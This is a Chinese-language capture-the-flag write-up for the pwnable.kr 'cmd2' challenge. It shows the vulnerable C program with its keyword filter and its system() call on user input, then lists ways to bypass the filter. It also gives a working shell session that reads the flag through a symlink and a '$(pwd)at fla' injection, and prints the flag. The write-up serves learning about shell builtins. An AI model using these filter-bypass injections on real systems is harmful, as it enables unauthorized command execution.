cmd2.c
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "`")!=0;
r += strstr(cmd, "flag")!=0;
return r;
}
extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}
int main(int argc, char* argv[], char** envp){
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if(filter(argv[1])) return 0;
printf("%s\n", argv[1]);
system( argv[1] );
return 0;
}
看了一下发现不会,
开始翻网上的wp
主要有这么几种方法:
1.切换到根目录,这样执行pwd命令就会得到斜杠,
然后利用$()的命令执行,拼接得到绝对路径
2.利用command -p参数从默认的路径执行命令
https://www.linuxcool.com/command
3.利用sh下echo对八进制编码的解析进行绕过
4.创建软连接+pwd+$()命令执行
cmd2@pwnable:~$ mkdir /tmp/test
cmd2@pwnable:~$ cd /tmp/test
cmd2@pwnable:/tmp/test$ ln -s /bin/cat cat
cmd2@pwnable:/tmp/test$ mkdir /tmp/test/c
cmd2@pwnable:/tmp/test$ cd ./c
cmd2@pwnable:/tmp/test/c$ ln -s /home/cmd2/flag fla
cmd2@pwnable:/tmp/test/c$ /home/cmd2/cmd2 '$(pwd)at fla'
$(pwd)at fla
FuN_w1th_5h3ll_v4riabl3s_haha
于是就想到一个问题,
为什么同样是没有PATH变量,
echo和pwd命令可以执行,
其他命令不能直接执行
可以看到执行时除了程序代码中修改的PATH变量,
还有一个PWD变量
顺着PWD变量,
在https://linux.die.net/abs-guide/internalvariables.html中发现了一个新的关键词,
builtin command
又从
https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html
找到了关于builtin command的说明
简单摘一段
Builtin commands are contained within the shell itself.
When the name of a builtin command is used as the first word of a simple command (see Simple Commands),
the shell executes the command directly,
without invoking another program.
Builtin commands are necessary to implement functionality impossible or inconvenient to obtain with separate utilities.
在http://c.biancheng.net/view/1136.html中列举了一些bash内建命令,
其中就有echo和pwd
虽然system函数调用的是sh,
但是猜测背后的原理应该大差不差
可以用man bash-builtins命令查看所有的内建命令
发现甚至能用man查c库函数
在虚拟机上试了试,可能因为版本问题,已经没了